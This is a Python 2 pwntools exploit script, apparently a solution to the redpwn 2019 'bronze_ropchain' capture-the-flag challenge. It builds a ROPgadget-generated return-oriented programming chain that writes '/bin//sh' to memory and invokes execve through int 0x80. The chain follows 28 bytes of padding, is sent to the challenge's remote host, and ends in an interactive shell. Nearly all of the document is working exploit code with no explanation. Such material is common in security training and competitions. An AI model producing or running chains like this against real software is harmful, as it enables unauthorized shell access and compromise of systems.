1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| #!/usr/bin/env python2 # execve generated by ROPgadget from pwn import * from struct import pack # context.log_level = 'debug' # Padding goes here p = '' p += pack('<I', 0x0806ef2b) # pop edx ; ret p += pack('<I', 0x080da060) # @ .data p += pack('<I', 0x080564b4) # pop eax ; pop edx ; pop ebx ; ret p += '/bin' p += pack('<I', 0x080da060) # padding without overwrite edx p += pack('<I', 0x41414141) # padding p += pack('<I', 0x08056fe5) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ef2b) # pop edx ; ret p += pack('<I', 0x080da064) # @ .data + 4 p += pack('<I', 0x080564b4) # pop eax ; pop edx ; pop ebx ; ret p += '//sh' p += pack('<I', 0x080da064) # padding without overwrite edx p += pack('<I', 0x41414141) # padding p += pack('<I', 0x08056fe5) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ef2b) # pop edx ; ret p += pack('<I', 0x080da068) # @ .data + 8 p += pack('<I', 0x080565a0) # xor eax, eax ; ret p += pack('<I', 0x08056fe5) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080da060) # @ .data p += pack('<I', 0x0806ef52) # pop ecx ; pop ebx ; ret p += pack('<I', 0x080da068) # @ .data + 8 p += pack('<I', 0x080da060) # padding without overwrite ebx p += pack('<I', 0x0806ef2b) # pop edx ; ret p += pack('<I', 0x080da068) # @ .data + 8 p += pack('<I', 0x080565a0) # xor eax, eax ; ret p += pack('<I', 0x0807c3ba) # inc eax ; ret p += pack('<I', 0x0807c3ba) # inc eax ; ret p += pack('<I', 0x0807c3ba) # inc eax ; ret p += pack('<I', 0x0807c3ba) # inc eax ; ret p += pack('<I', 0x0807c3ba) # inc eax ; ret p += pack('<I', 0x0807c3ba) # inc eax ; ret p += pack('<I', 0x0807c3ba) # inc eax ; ret p += pack('<I', 0x0807c3ba) # inc eax ; ret p += pack('<I', 0x0807c3ba) # inc eax ; ret p += pack('<I', 0x0807c3ba) # inc eax ; ret p += pack('<I', 0x0807c3ba) # inc eax ; ret p += pack('<I', 0x080495b3) # int 0x80 payload = 'A'*28 + p #r = process('bronze_ropchain') r = remote('chall.2019.redpwn.net',4004) r.recvuntil('What is your name?\n') #gdb.attach(r) r.sendline(payload) r.sendline('') r.interactive()
|